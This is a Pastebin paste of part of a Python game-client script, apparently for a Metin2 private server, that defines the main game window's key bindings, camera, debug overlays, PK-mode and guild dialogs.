Advertisement
Guest User

Untitled

a guest
Nov 5th, 2019
107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 73.92 KB | None | 0 0
  1. import os
  2. import app
  3. import dbg
  4. import grp
  5. import item
  6. import background
  7. import chr
  8. import chrmgr
  9. import event
  10. import player
  11. import snd
  12. import chat
  13. import textTail
  14. import snd
  15. import net
  16. import effect
  17. import wndMgr
  18. import fly
  19. import systemSetting
  20. import quest
  21. import guild
  22. import skill
  23. import messenger
  24. import localeInfo
  25. import constInfo
  26. import exchange
  27. import ime
  28. import time
  29. import uishopsearch
  30. import ui
  31. import uiCommon
  32. import uiPhaseCurtain
  33. import uiMapNameShower
  34. import uiAffectShower
  35. import uiPlayerGauge
  36. import uiCharacter
  37. import uiTarget
  38. import serverInfo
  39. import uiPrivateShopBuilder
  40. import uiOfflineShopBuilder
  41. import uiOfflineShop
  42. import mouseModule
  43. import consoleModule
  44. import localeInfo
  45. import serverinfo
  46.  
  47. import playerSettingModule
  48. import interfaceModule
  49.  
  50. import debugInfo
  51. import stringCommander
  52.  
  53. from _weakref import proxy
  54. from switchbot import Bot
  55.  
  56. # TEXTTAIL_LIVINGTIME_CONTROL
  57. #if localeInfo.IsJAPAN():
  58. # app.SetTextTailLivingTime(8.0)
  59. # END_OF_TEXTTAIL_LIVINGTIME_CONTROL
  60.  
  61. # SCREENSHOT_CWDSAVE
  62. SCREENSHOT_CWDSAVE = False
  63. SCREENSHOT_DIR = None
  64.  
  65. if localeInfo.IsEUROPE():
  66. SCREENSHOT_CWDSAVE = True
  67.  
  68. if localeInfo.IsCIBN10():
  69. SCREENSHOT_CWDSAVE = False
  70. SCREENSHOT_DIR = "YT2W"
  71.  
  72. cameraDistance = 1550.0
  73. cameraPitch = 27.0
  74. cameraRotation = 0.0
  75. cameraHeight = 100.0
  76.  
  77. testAlignment = 0
  78. BPisLoaded = 0
  79.  
  80. class GameWindow(ui.ScriptWindow):
  81. def __init__(self, stream):
  82. self.uiSearchShopBtn = ui.Button()
  83. self.uiSearchShopBtn.SetUpVisual("search.tga")
  84. self.uiSearchShopBtn.SetOverVisual("search2.tga")
  85. self.uiSearchShopBtn.SetDownVisual("search2.tga")
  86. self.uiSearchShopBtn.SetPosition(int(wndMgr.GetScreenWidth()/2), 0)
  87. self.uiSearchShopBtn.SetEvent(self.OnClickSearch)
  88. self.uiSearchShopBtn.Show()
  89.  
  90. ui.ScriptWindow.__init__(self, "GAME")
  91. self.SetWindowName("game")
  92. net.SetPhaseWindow(net.PHASE_WINDOW_GAME, self)
  93. player.SetGameWindow(self)
  94. self.utilizareTaste = time.clock() + 4
  95.  
  96. self.shopsearch = uishopsearch.SearchWindow()
  97.  
  98. self.quickSlotPageIndex = 0
  99. self.lastPKModeSendedTime = 0
  100. self.pressNumber = None
  101.  
  102. self.guildWarQuestionDialog = None
  103. self.interface = None
  104. self.targetBoard = None
  105. self.console = None
  106. self.mapNameShower = None
  107. self.affectShower = None
  108. self.playerGauge = None
  109.  
  110. self.stream=stream
  111. self.interface = interfaceModule.Interface()
  112. self.interface.MakeInterface()
  113. self.interface.ShowDefaultWindows()
  114.  
  115. self.curtain = uiPhaseCurtain.PhaseCurtain()
  116. self.curtain.speed = 0.03
  117. self.curtain.Hide()
  118.  
  119. self.targetBoard = uiTarget.TargetBoard()
  120. self.targetBoard.SetWhisperEvent(ui.__mem_func__(self.interface.OpenWhisperDialog))
  121. self.targetBoard.Hide()
  122.  
  123. self.console = consoleModule.ConsoleWindow()
  124. self.console.BindGameClass(self)
  125. self.console.SetConsoleSize(wndMgr.GetScreenWidth(), 200)
  126. self.console.Hide()
  127.  
  128. self.mapNameShower = uiMapNameShower.MapNameShower()
  129. self.affectShower = uiAffectShower.AffectShower()
  130.  
  131. self.playerGauge = uiPlayerGauge.PlayerGauge(self)
  132. self.playerGauge.Hide()
  133.  
  134. self.itemDropQuestionDialog = None
  135.  
  136. self.__SetQuickSlotMode()
  137.  
  138. self.__ServerCommand_Build()
  139. self.__ProcessPreservedServerCommand()
  140.  
  141. self.switchbot = Bot()
  142. self.switchbot.Hide()
  143.  
  144. def __del__(self):
  145. player.SetGameWindow(0)
  146. net.ClearPhaseWindow(net.PHASE_WINDOW_GAME, self)
  147. ui.ScriptWindow.__del__(self)
  148.  
  149. def Open(self):
  150. app.SetFrameSkip(1)
  151.  
  152. self.SetSize(wndMgr.GetScreenWidth(), wndMgr.GetScreenHeight())
  153.  
  154.  
  155. self.quickSlotPageIndex = 0
  156. self.PickingCharacterIndex = -1
  157. self.PickingItemIndex = -1
  158. self.consoleEnable = False
  159. self.isShowDebugInfo = False
  160. self.ShowNameFlag = False
  161.  
  162. self.enableXMasBoom = False
  163. self.startTimeXMasBoom = 0.0
  164. self.indexXMasBoom = 0
  165.  
  166. global cameraDistance, cameraPitch, cameraRotation, cameraHeight
  167.  
  168. app.SetCamera(cameraDistance, cameraPitch, cameraRotation, cameraHeight)
  169.  
  170. constInfo.SET_DEFAULT_CAMERA_MAX_DISTANCE()
  171. constInfo.SET_DEFAULT_CHRNAME_COLOR()
  172. constInfo.SET_DEFAULT_FOG_LEVEL()
  173. constInfo.SET_DEFAULT_CONVERT_EMPIRE_LANGUAGE_ENABLE()
  174. constInfo.SET_DEFAULT_USE_ITEM_WEAPON_TABLE_ATTACK_BONUS()
  175. constInfo.SET_DEFAULT_USE_SKILL_EFFECT_ENABLE()
  176.  
  177. # TWO_HANDED_WEAPON_ATTACK_SPEED_UP
  178. constInfo.SET_TWO_HANDED_WEAPON_ATT_SPEED_DECREASE_VALUE()
  179. # END_OF_TWO_HANDED_WEAPON_ATTACK_SPEED_UP
  180.  
  181. import event
  182. event.SetLeftTimeString(localeInfo.UI_LEFT_TIME)
  183.  
  184. textTail.EnablePKTitle(constInfo.PVPMODE_ENABLE)
  185.  
  186. if constInfo.PVPMODE_TEST_ENABLE:
  187. self.testPKMode = ui.TextLine()
  188. self.testPKMode.SetFontName(localeInfo.UI_DEF_FONT)
  189. self.testPKMode.SetPosition(0, 15)
  190. self.testPKMode.SetWindowHorizontalAlignCenter()
  191. self.testPKMode.SetHorizontalAlignCenter()
  192. self.testPKMode.SetFeather()
  193. self.testPKMode.SetOutline()
  194. self.testPKMode.Show()
  195.  
  196. self.testAlignment = ui.TextLine()
  197. self.testAlignment.SetFontName(localeInfo.UI_DEF_FONT)
  198. self.testAlignment.SetPosition(0, 35)
  199. self.testAlignment.SetWindowHorizontalAlignCenter()
  200. self.testAlignment.SetHorizontalAlignCenter()
  201. self.testAlignment.SetFeather()
  202. self.testAlignment.SetOutline()
  203. self.testAlignment.Show()
  204.  
  205. self.__BuildKeyDict()
  206. self.__BuildDebugInfo()
  207.  
  208. # PRIVATE_SHOP_PRICE_LIST
  209. uiPrivateShopBuilder.Clear()
  210. # END_OF_PRIVATE_SHOP_PRICE_LIST
  211.  
  212. uiOfflineShopBuilder.Clear()
  213.  
  214. # UNKNOWN_UPDATE
  215. exchange.InitTrading()
  216. # END_OF_UNKNOWN_UPDATE
  217.  
  218. if debugInfo.IsDebugMode():
  219. self.ToggleDebugInfo()
  220.  
  221. ## Sound
  222. snd.SetSoundVolume(systemSetting.GetSoundVolume())
  223.  
  224. self.__SetQuickSlotMode()
  225. self.__SelectQuickPage(self.quickSlotPageIndex)
  226.  
  227. self.SetFocus()
  228. self.Show()
  229. app.ShowCursor()
  230.  
  231. net.SendEnterGamePacket()
  232.  
  233. try:
  234. self.StartGame()
  235. except:
  236. import exception
  237. exception.Abort("GameWindow.Open")
  238.  
  239. self.cubeInformation = {}
  240. self.currentCubeNPC = 0
  241.  
  242. def Close(self):
  243. self.Hide()
  244.  
  245. global cameraDistance, cameraPitch, cameraRotation, cameraHeight
  246. (cameraDistance, cameraPitch, cameraRotation, cameraHeight) = app.GetCamera()
  247.  
  248. self.onPressKeyDict = None
  249. self.onClickKeyDict = None
  250.  
  251. chat.Close()
  252. snd.StopAllSound()
  253. grp.InitScreenEffect()
  254. chr.Destroy()
  255. textTail.Clear()
  256. quest.Clear()
  257. background.Destroy()
  258. guild.Destroy()
  259. messenger.Destroy()
  260. skill.ClearSkillData()
  261. wndMgr.Unlock()
  262. mouseModule.mouseController.DeattachObject()
  263.  
  264. if self.guildWarQuestionDialog:
  265. self.guildWarQuestionDialog.Close()
  266.  
  267. self.guildNameBoard = None
  268. self.partyRequestQuestionDialog = None
  269. self.partyInviteQuestionDialog = None
  270. self.guildInviteQuestionDialog = None
  271. self.guildWarQuestionDialog = None
  272. self.messengerAddFriendQuestion = None
  273.  
  274. # UNKNOWN_UPDATE
  275. self.itemDropQuestionDialog = None
  276. # END_OF_UNKNOWN_UPDATE
  277.  
  278. # QUEST_CONFIRM
  279. self.confirmDialog = None
  280. # END_OF_QUEST_CONFIRM
  281.  
  282. self.shopsearch.Close()
  283.  
  284. self.PrintCoord = None
  285. self.FrameRate = None
  286. self.Pitch = None
  287. self.Splat = None
  288. self.TextureNum = None
  289. self.ObjectNum = None
  290. self.ViewDistance = None
  291. self.PrintMousePos = None
  292.  
  293. self.ClearDictionary()
  294.  
  295. self.playerGauge = None
  296. self.mapNameShower = None
  297. self.affectShower = None
  298.  
  299. if self.console:
  300. self.console.BindGameClass(0)
  301. self.console.Close()
  302. self.console=None
  303.  
  304. if self.targetBoard:
  305. self.targetBoard.Destroy()
  306. self.targetBoard = None
  307.  
  308. if self.interface:
  309. self.interface.HideAllWindows()
  310. self.interface.Close()
  311. self.interface=None
  312.  
  313. player.ClearSkillDict()
  314. player.ResetCameraRotation()
  315.  
  316. self.KillFocus()
  317. app.HideCursor()
  318.  
  319. print "---------------------------------------------------------------------------- CLOSE GAME WINDOW"
  320.  
  321. def __BuildKeyDict(self):
  322. onPressKeyDict = {}
  323.  
  324. ##PressKey ´Â ´©¸£°í ÀÖ´Â µ¿¾È °è¼Ó Àû¿ëµÇ´Â Å°ÀÌ´Ù.
  325.  
  326. ## ¼ýÀÚ ´ÜÃàÅ° Äü½½·Ô¿¡ ÀÌ¿ëµÈ´Ù.(ÀÌÈÄ ¼ýÀڵ鵵 Äü ½½·Ô¿ë ¿¹¾à)
  327. ## F12 ´Â Ŭ¶ó µð¹ö±×¿ë Å°À̹ǷΠ¾²Áö ¾Ê´Â °Ô ÁÁ´Ù.
  328. onPressKeyDict[app.DIK_1] = lambda : self.__PressNumKey(1)
  329. onPressKeyDict[app.DIK_2] = lambda : self.__PressNumKey(2)
  330. onPressKeyDict[app.DIK_3] = lambda : self.__PressNumKey(3)
  331. onPressKeyDict[app.DIK_4] = lambda : self.__PressNumKey(4)
  332. onPressKeyDict[app.DIK_5] = lambda : self.__PressNumKey(5)
  333. onPressKeyDict[app.DIK_6] = lambda : self.__PressNumKey(6)
  334. onPressKeyDict[app.DIK_7] = lambda : self.__PressNumKey(7)
  335. onPressKeyDict[app.DIK_8] = lambda : self.__PressNumKey(8)
  336. onPressKeyDict[app.DIK_9] = lambda : self.__PressNumKey(9)
  337. onPressKeyDict[app.DIK_F1] = lambda : self.__PressQuickSlot(4)
  338. onPressKeyDict[app.DIK_F2] = lambda : self.__PressQuickSlot(5)
  339. onPressKeyDict[app.DIK_F3] = lambda : self.__PressQuickSlot(6)
  340. onPressKeyDict[app.DIK_F4] = lambda : self.__PressQuickSlot(7)
  341. onPressKeyDict[app.DIK_F5] = lambda : self.__toggleSwitchbot()
  342. onPressKeyDict[app.DIK_F11] = lambda : self.__BonusPage()
  343.  
  344. onPressKeyDict[app.DIK_LALT] = lambda : self.ShowName()
  345. onPressKeyDict[app.DIK_LCONTROL] = lambda : self.ShowMouseImage()
  346. onPressKeyDict[app.DIK_SYSRQ] = lambda : self.SaveScreen()
  347. onPressKeyDict[app.DIK_SPACE] = lambda : self.StartAttack()
  348.  
  349. #ij¸¯ÅÍ À̵¿Å°
  350. onPressKeyDict[app.DIK_UP] = lambda : self.MoveUp()
  351. onPressKeyDict[app.DIK_DOWN] = lambda : self.MoveDown()
  352. onPressKeyDict[app.DIK_LEFT] = lambda : self.MoveLeft()
  353. onPressKeyDict[app.DIK_RIGHT] = lambda : self.MoveRight()
  354. onPressKeyDict[app.DIK_W] = lambda : self.MoveUp()
  355. onPressKeyDict[app.DIK_S] = lambda : self.MoveDown()
  356. onPressKeyDict[app.DIK_A] = lambda : self.MoveLeft()
  357. onPressKeyDict[app.DIK_D] = lambda : self.MoveRight()
  358.  
  359. onPressKeyDict[app.DIK_E] = lambda: app.RotateCamera(app.CAMERA_TO_POSITIVE)
  360. onPressKeyDict[app.DIK_R] = lambda: app.ZoomCamera(app.CAMERA_TO_NEGATIVE)
  361. #onPressKeyDict[app.DIK_F] = lambda: app.ZoomCamera(app.CAMERA_TO_POSITIVE)
  362. onPressKeyDict[app.DIK_T] = lambda: app.PitchCamera(app.CAMERA_TO_NEGATIVE)
  363. onPressKeyDict[app.DIK_G] = self.__PressGKey
  364. onPressKeyDict[app.DIK_Q] = self.__PressQKey
  365.  
  366. onPressKeyDict[app.DIK_NUMPAD9] = lambda: app.MovieResetCamera()
  367. onPressKeyDict[app.DIK_NUMPAD4] = lambda: app.MovieRotateCamera(app.CAMERA_TO_NEGATIVE)
  368. onPressKeyDict[app.DIK_NUMPAD6] = lambda: app.MovieRotateCamera(app.CAMERA_TO_POSITIVE)
  369. onPressKeyDict[app.DIK_PGUP] = lambda: app.MovieZoomCamera(app.CAMERA_TO_NEGATIVE)
  370. onPressKeyDict[app.DIK_PGDN] = lambda: app.MovieZoomCamera(app.CAMERA_TO_POSITIVE)
  371. onPressKeyDict[app.DIK_NUMPAD8] = lambda: app.MoviePitchCamera(app.CAMERA_TO_NEGATIVE)
  372. onPressKeyDict[app.DIK_NUMPAD2] = lambda: app.MoviePitchCamera(app.CAMERA_TO_POSITIVE)
  373. onPressKeyDict[app.DIK_GRAVE] = lambda : self.PickUpItem()
  374. onPressKeyDict[app.DIK_Z] = lambda : self.PickUpItem()
  375. onPressKeyDict[app.DIK_C] = lambda state = "STATUS": self.interface.ToggleCharacterWindow(state)
  376. onPressKeyDict[app.DIK_V] = lambda state = "SKILL": self.interface.ToggleCharacterWindow(state)
  377. #onPressKeyDict[app.DIK_B] = lambda state = "EMOTICON": self.interface.ToggleCharacterWindow(state)
  378. onPressKeyDict[app.DIK_N] = lambda state = "QUEST": self.interface.ToggleCharacterWindow(state)
  379. onPressKeyDict[app.DIK_I] = lambda : self.interface.ToggleInventoryWindow()
  380. #onPressKeyDict[app.DIK_O] = lambda : self.interface.ToggleDragonSoulWindowWithNoInfo()
  381. onPressKeyDict[app.DIK_M] = lambda : self.interface.PressMKey()
  382. #onPressKeyDict[app.DIK_H] = lambda : self.interface.OpenHelpWindow()
  383. onPressKeyDict[app.DIK_ADD] = lambda : self.interface.MiniMapScaleUp()
  384. onPressKeyDict[app.DIK_SUBTRACT] = lambda : self.interface.MiniMapScaleDown()
  385. onPressKeyDict[app.DIK_L] = lambda : self.interface.ToggleChatLogWindow()
  386. onPressKeyDict[app.DIK_COMMA] = lambda : self.ShowConsole() # "`" key
  387. onPressKeyDict[app.DIK_LSHIFT] = lambda : self.__SetQuickPageMode()
  388.  
  389. onPressKeyDict[app.DIK_J] = lambda : self.__PressJKey()
  390. onPressKeyDict[app.DIK_H] = lambda : self.__PressHKey()
  391. onPressKeyDict[app.DIK_B] = lambda : self.__PressBKey()
  392. onPressKeyDict[app.DIK_F] = lambda : self.__PressFKey()
  393.  
  394. # CUBE_TEST
  395. #onPressKeyDict[app.DIK_K] = lambda : self.interface.OpenCubeWindow()
  396. # CUBE_TEST_END
  397.  
  398. self.onPressKeyDict = onPressKeyDict
  399.  
  400. onClickKeyDict = {}
  401. onClickKeyDict[app.DIK_UP] = lambda : self.StopUp()
  402. onClickKeyDict[app.DIK_DOWN] = lambda : self.StopDown()
  403. onClickKeyDict[app.DIK_LEFT] = lambda : self.StopLeft()
  404. onClickKeyDict[app.DIK_RIGHT] = lambda : self.StopRight()
  405. onClickKeyDict[app.DIK_SPACE] = lambda : self.EndAttack()
  406.  
  407. onClickKeyDict[app.DIK_W] = lambda : self.StopUp()
  408. onClickKeyDict[app.DIK_S] = lambda : self.StopDown()
  409. onClickKeyDict[app.DIK_A] = lambda : self.StopLeft()
  410. onClickKeyDict[app.DIK_D] = lambda : self.StopRight()
  411. onClickKeyDict[app.DIK_Q] = lambda: app.RotateCamera(app.CAMERA_STOP)
  412. onClickKeyDict[app.DIK_E] = lambda: app.RotateCamera(app.CAMERA_STOP)
  413. onClickKeyDict[app.DIK_R] = lambda: app.ZoomCamera(app.CAMERA_STOP)
  414. onClickKeyDict[app.DIK_F] = lambda: app.ZoomCamera(app.CAMERA_STOP)
  415. onClickKeyDict[app.DIK_T] = lambda: app.PitchCamera(app.CAMERA_STOP)
  416. onClickKeyDict[app.DIK_G] = lambda: self.__ReleaseGKey()
  417. onClickKeyDict[app.DIK_NUMPAD4] = lambda: app.MovieRotateCamera(app.CAMERA_STOP)
  418. onClickKeyDict[app.DIK_NUMPAD6] = lambda: app.MovieRotateCamera(app.CAMERA_STOP)
  419. onClickKeyDict[app.DIK_PGUP] = lambda: app.MovieZoomCamera(app.CAMERA_STOP)
  420. onClickKeyDict[app.DIK_PGDN] = lambda: app.MovieZoomCamera(app.CAMERA_STOP)
  421. onClickKeyDict[app.DIK_NUMPAD8] = lambda: app.MoviePitchCamera(app.CAMERA_STOP)
  422. onClickKeyDict[app.DIK_NUMPAD2] = lambda: app.MoviePitchCamera(app.CAMERA_STOP)
  423. onClickKeyDict[app.DIK_LALT] = lambda: self.HideName()
  424. onClickKeyDict[app.DIK_LCONTROL] = lambda: self.HideMouseImage()
  425. onClickKeyDict[app.DIK_LSHIFT] = lambda: self.__SetQuickSlotMode()
  426.  
  427. #if constInfo.PVPMODE_ACCELKEY_ENABLE:
  428. # onClickKeyDict[app.DIK_B] = lambda: self.ChangePKMode()
  429.  
  430. self.onClickKeyDict=onClickKeyDict
  431.  
  432. def __PressNumKey(self,num):
  433. if time.clock() >= self.utilizareTaste:
  434. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  435.  
  436. if num >= 1 and num <= 9:
  437. if(chrmgr.IsPossibleEmoticon(-1)):
  438. chrmgr.SetEmoticon(-1,int(num)-1)
  439. net.SendEmoticon(int(num)-1)
  440. else:
  441. if num >= 1 and num <= 4:
  442. self.pressNumber(num-1)
  443. else:
  444. chat.AppendChat(chat.CHAT_TYPE_INFO, "Mai asteapta cateva secunde pentru a putea folosi comanda.")
  445.  
  446. def __ClickBKey(self):
  447. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  448. return
  449. else:
  450. if constInfo.PVPMODE_ACCELKEY_ENABLE:
  451. self.ChangePKMode()
  452.  
  453.  
  454. def __PressJKey(self):
  455. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  456. if player.IsMountingHorse():
  457. net.SendChatPacket("/unmount")
  458. else:
  459. #net.SendChatPacket("/user_horse_ride")
  460. if not uiPrivateShopBuilder.IsBuildingPrivateShop() or not uiOfflineShopBuilder.IsBuildingOfflineShop():
  461. for i in xrange(player.INVENTORY_PAGE_SIZE):
  462. if player.GetItemIndex(i) in (71114, 71116, 71118, 71120):
  463. net.SendItemUsePacket(i)
  464. break
  465. def __PressHKey(self):
  466. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  467. net.SendChatPacket("/user_horse_ride")
  468. else:
  469. self.interface.OpenHelpWindow()
  470.  
  471. def __PressBKey(self):
  472. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  473. net.SendChatPacket("/user_horse_back")
  474. else:
  475. state = "EMOTICON"
  476. self.interface.ToggleCharacterWindow(state)
  477.  
  478. def __PressFKey(self):
  479. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  480. net.SendChatPacket("/user_horse_feed")
  481. else:
  482. app.ZoomCamera(app.CAMERA_TO_POSITIVE)
  483.  
  484. def __PressGKey(self):
  485. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  486. net.SendChatPacket("/ride")
  487. else:
  488. if self.ShowNameFlag:
  489. self.interface.ToggleGuildWindow()
  490. else:
  491. app.PitchCamera(app.CAMERA_TO_POSITIVE)
  492.  
  493. def __ReleaseGKey(self):
  494. app.PitchCamera(app.CAMERA_STOP)
  495.  
  496. def __PressQKey(self):
  497. if app.IsPressed(app.DIK_LCONTROL) or app.IsPressed(app.DIK_RCONTROL):
  498. if 0==interfaceModule.IsQBHide:
  499. interfaceModule.IsQBHide = 1
  500. self.interface.HideAllQuestButton()
  501. else:
  502. interfaceModule.IsQBHide = 0
  503. self.interface.ShowAllQuestButton()
  504. else:
  505. app.RotateCamera(app.CAMERA_TO_NEGATIVE)
  506.  
  507. def __SetQuickSlotMode(self):
  508. self.pressNumber=ui.__mem_func__(self.__PressQuickSlot)
  509.  
  510. def __SetQuickPageMode(self):
  511. self.pressNumber=ui.__mem_func__(self.__SelectQuickPage)
  512.  
  513. def __PressQuickSlot(self, localSlotIndex):
  514. if time.clock() >= self.utilizareTaste:
  515. player.RequestUseLocalQuickSlot(localSlotIndex)
  516. else:
  517. chat.AppendChat(chat.CHAT_TYPE_INFO, "Mai asteapta cateva secunde pentru a putea folosi comanda.")
  518.  
  519.  
  520. def __SelectQuickPage(self, pageIndex):
  521. self.quickSlotPageIndex = pageIndex
  522. player.SetQuickPage(pageIndex)
  523.  
  524. def ToggleDebugInfo(self):
  525. self.isShowDebugInfo = not self.isShowDebugInfo
  526.  
  527. if self.isShowDebugInfo:
  528. self.PrintCoord.Show()
  529. self.FrameRate.Show()
  530. self.Pitch.Show()
  531. self.Splat.Show()
  532. self.TextureNum.Show()
  533. self.ObjectNum.Show()
  534. self.ViewDistance.Show()
  535. self.PrintMousePos.Show()
  536. else:
  537. self.PrintCoord.Hide()
  538. self.FrameRate.Hide()
  539. self.Pitch.Hide()
  540. self.Splat.Hide()
  541. self.TextureNum.Hide()
  542. self.ObjectNum.Hide()
  543. self.ViewDistance.Hide()
  544. self.PrintMousePos.Hide()
  545.  
  546. def __BuildDebugInfo(self):
  547. ## Character Position Coordinate
  548. self.PrintCoord = ui.TextLine()
  549. self.PrintCoord.SetFontName(localeInfo.UI_DEF_FONT)
  550. self.PrintCoord.SetPosition(wndMgr.GetScreenWidth() - 270, 0)
  551.  
  552. ## Frame Rate
  553. self.FrameRate = ui.TextLine()
  554. self.FrameRate.SetFontName(localeInfo.UI_DEF_FONT)
  555. self.FrameRate.SetPosition(wndMgr.GetScreenWidth() - 270, 20)
  556.  
  557. ## Camera Pitch
  558. self.Pitch = ui.TextLine()
  559. self.Pitch.SetFontName(localeInfo.UI_DEF_FONT)
  560. self.Pitch.SetPosition(wndMgr.GetScreenWidth() - 270, 40)
  561.  
  562. ## Splat
  563. self.Splat = ui.TextLine()
  564. self.Splat.SetFontName(localeInfo.UI_DEF_FONT)
  565. self.Splat.SetPosition(wndMgr.GetScreenWidth() - 270, 60)
  566.  
  567. ##
  568. self.PrintMousePos = ui.TextLine()
  569. self.PrintMousePos.SetFontName(localeInfo.UI_DEF_FONT)
  570. self.PrintMousePos.SetPosition(wndMgr.GetScreenWidth() - 270, 80)
  571.  
  572. # TextureNum
  573. self.TextureNum = ui.TextLine()
  574. self.TextureNum.SetFontName(localeInfo.UI_DEF_FONT)
  575. self.TextureNum.SetPosition(wndMgr.GetScreenWidth() - 270, 100)
  576.  
  577. # ¿ÀºêÁ§Æ® ±×¸®´Â °³¼ö
  578. self.ObjectNum = ui.TextLine()
  579. self.ObjectNum.SetFontName(localeInfo.UI_DEF_FONT)
  580. self.ObjectNum.SetPosition(wndMgr.GetScreenWidth() - 270, 120)
  581.  
  582. # ½Ã¾ß°Å¸®
  583. self.ViewDistance = ui.TextLine()
  584. self.ViewDistance.SetFontName(localeInfo.UI_DEF_FONT)
  585. self.ViewDistance.SetPosition(0, 0)
  586.  
  587. def __NotifyError(self, msg):
  588. chat.AppendChat(chat.CHAT_TYPE_INFO, msg)
  589.  
  590. def ChangePKMode(self):
  591.  
  592. if not app.IsPressed(app.DIK_LCONTROL):
  593. return
  594.  
  595. if player.GetStatus(player.LEVEL)<constInfo.PVPMODE_PROTECTED_LEVEL:
  596. self.__NotifyError(localeInfo.OPTION_PVPMODE_PROTECT % (constInfo.PVPMODE_PROTECTED_LEVEL))
  597. return
  598.  
  599. curTime = app.GetTime()
  600. if curTime - self.lastPKModeSendedTime < constInfo.PVPMODE_ACCELKEY_DELAY:
  601. return
  602.  
  603. self.lastPKModeSendedTime = curTime
  604.  
  605. curPKMode = player.GetPKMode()
  606. nextPKMode = curPKMode + 1
  607. if nextPKMode == player.PK_MODE_PROTECT:
  608. if 0 == player.GetGuildID():
  609. chat.AppendChat(chat.CHAT_TYPE_INFO, localeInfo.OPTION_PVPMODE_CANNOT_SET_GUILD_MODE)
  610. nextPKMode = 0
  611. else:
  612. nextPKMode = player.PK_MODE_GUILD
  613.  
  614. elif nextPKMode == player.PK_MODE_MAX_NUM:
  615. nextPKMode = 0
  616.  
  617. net.SendChatPacket("/PKMode " + str(nextPKMode))
  618. print "/PKMode " + str(nextPKMode)
  619.  
  620. def OnChangePKMode(self):
  621.  
  622. self.interface.OnChangePKMode()
  623.  
  624. try:
  625. self.__NotifyError(localeInfo.OPTION_PVPMODE_MESSAGE_DICT[player.GetPKMode()])
  626. except KeyError:
  627. print "UNKNOWN PVPMode[%d]" % (player.GetPKMode())
  628.  
  629. if constInfo.PVPMODE_TEST_ENABLE:
  630. curPKMode = player.GetPKMode()
  631. alignment, grade = chr.testGetPKData()
  632. self.pkModeNameDict = { 0 : "PEACE", 1 : "REVENGE", 2 : "FREE", 3 : "PROTECT", }
  633. self.testPKMode.SetText("Current PK Mode : " + self.pkModeNameDict.get(curPKMode, "UNKNOWN"))
  634. self.testAlignment.SetText("Current Alignment : " + str(alignment) + " (" + localeInfo.TITLE_NAME_LIST[grade] + ")")
  635.  
  636. ###############################################################################################
  637. ###############################################################################################
  638. ## Game Callback Functions
  639.  
  640. # Start
  641. def StartGame(self):
  642. self.RefreshInventory()
  643. self.RefreshEquipment()
  644. self.RefreshCharacter()
  645. self.RefreshSkill()
  646.  
  647. # Refresh
  648. def CheckGameButton(self):
  649. if self.interface:
  650. self.interface.CheckGameButton()
  651.  
  652. def RefreshAlignment(self):
  653. self.interface.RefreshAlignment()
  654.  
  655. def RefreshStatus(self):
  656. self.CheckGameButton()
  657.  
  658. if self.interface:
  659. self.interface.RefreshStatus()
  660.  
  661. if self.playerGauge:
  662. self.playerGauge.RefreshGauge()
  663.  
  664. def RefreshStamina(self):
  665. self.interface.RefreshStamina()
  666.  
  667. def RefreshSkill(self):
  668. self.CheckGameButton()
  669. if self.interface:
  670. self.interface.RefreshSkill()
  671.  
  672. def RefreshQuest(self):
  673. self.interface.RefreshQuest()
  674.  
  675. def RefreshMessenger(self):
  676. self.interface.RefreshMessenger()
  677.  
  678. def RefreshGuildInfoPage(self):
  679. self.interface.RefreshGuildInfoPage()
  680.  
  681. def RefreshGuildBoardPage(self):
  682. self.interface.RefreshGuildBoardPage()
  683.  
  684. def RefreshGuildMemberPage(self):
  685. self.interface.RefreshGuildMemberPage()
  686.  
  687. def RefreshGuildMemberPageGradeComboBox(self):
  688. self.interface.RefreshGuildMemberPageGradeComboBox()
  689.  
  690. def RefreshGuildSkillPage(self):
  691. self.interface.RefreshGuildSkillPage()
  692.  
  693. def RefreshGuildGradePage(self):
  694. self.interface.RefreshGuildGradePage()
  695.  
  696. def RefreshMobile(self):
  697. if self.interface:
  698. self.interface.RefreshMobile()
  699.  
  700. def OnMobileAuthority(self):
  701. self.interface.OnMobileAuthority()
  702.  
  703. def OnBlockMode(self, mode):
  704. self.interface.OnBlockMode(mode)
  705.  
  706. def OpenQuestWindow(self, skin, idx):
  707. self.interface.OpenQuestWindow(skin, idx)
  708.  
  709. def AskGuildName(self):
  710.  
  711. guildNameBoard = uiCommon.InputDialog()
  712. guildNameBoard.SetTitle(localeInfo.GUILD_NAME)
  713. guildNameBoard.SetAcceptEvent(ui.__mem_func__(self.ConfirmGuildName))
  714. guildNameBoard.SetCancelEvent(ui.__mem_func__(self.CancelGuildName))
  715. guildNameBoard.Open()
  716.  
  717. self.guildNameBoard = guildNameBoard
  718.  
  719. def ConfirmGuildName(self):
  720. guildName = self.guildNameBoard.GetText()
  721. if not guildName:
  722. return
  723.  
  724. if net.IsInsultIn(guildName):
  725. self.PopupMessage(localeInfo.GUILD_CREATE_ERROR_INSULT_NAME)
  726. return
  727.  
  728. net.SendAnswerMakeGuildPacket(guildName)
  729. self.guildNameBoard.Close()
  730. self.guildNameBoard = None
  731. return True
  732.  
  733. def CancelGuildName(self):
  734. self.guildNameBoard.Close()
  735. self.guildNameBoard = None
  736. return True
  737.  
  738. ## Refine
  739. def PopupMessage(self, msg):
  740. self.stream.popupWindow.Close()
  741. self.stream.popupWindow.Open(msg, 0, localeInfo.UI_OK)
  742.  
  743. def OpenRefineDialog(self, targetItemPos, nextGradeItemVnum, cost, prob, type=0):
  744. self.interface.OpenRefineDialog(targetItemPos, nextGradeItemVnum, cost, prob, type)
  745.  
  746. def AppendMaterialToRefineDialog(self, vnum, count):
  747. self.interface.AppendMaterialToRefineDialog(vnum, count)
  748.  
  749. def RunUseSkillEvent(self, slotIndex, coolTime):
  750. self.interface.OnUseSkill(slotIndex, coolTime)
  751.  
  752. def ClearAffects(self):
  753. self.affectShower.ClearAffects()
  754.  
  755. def SetAffect(self, affect):
  756. self.affectShower.SetAffect(affect)
  757.  
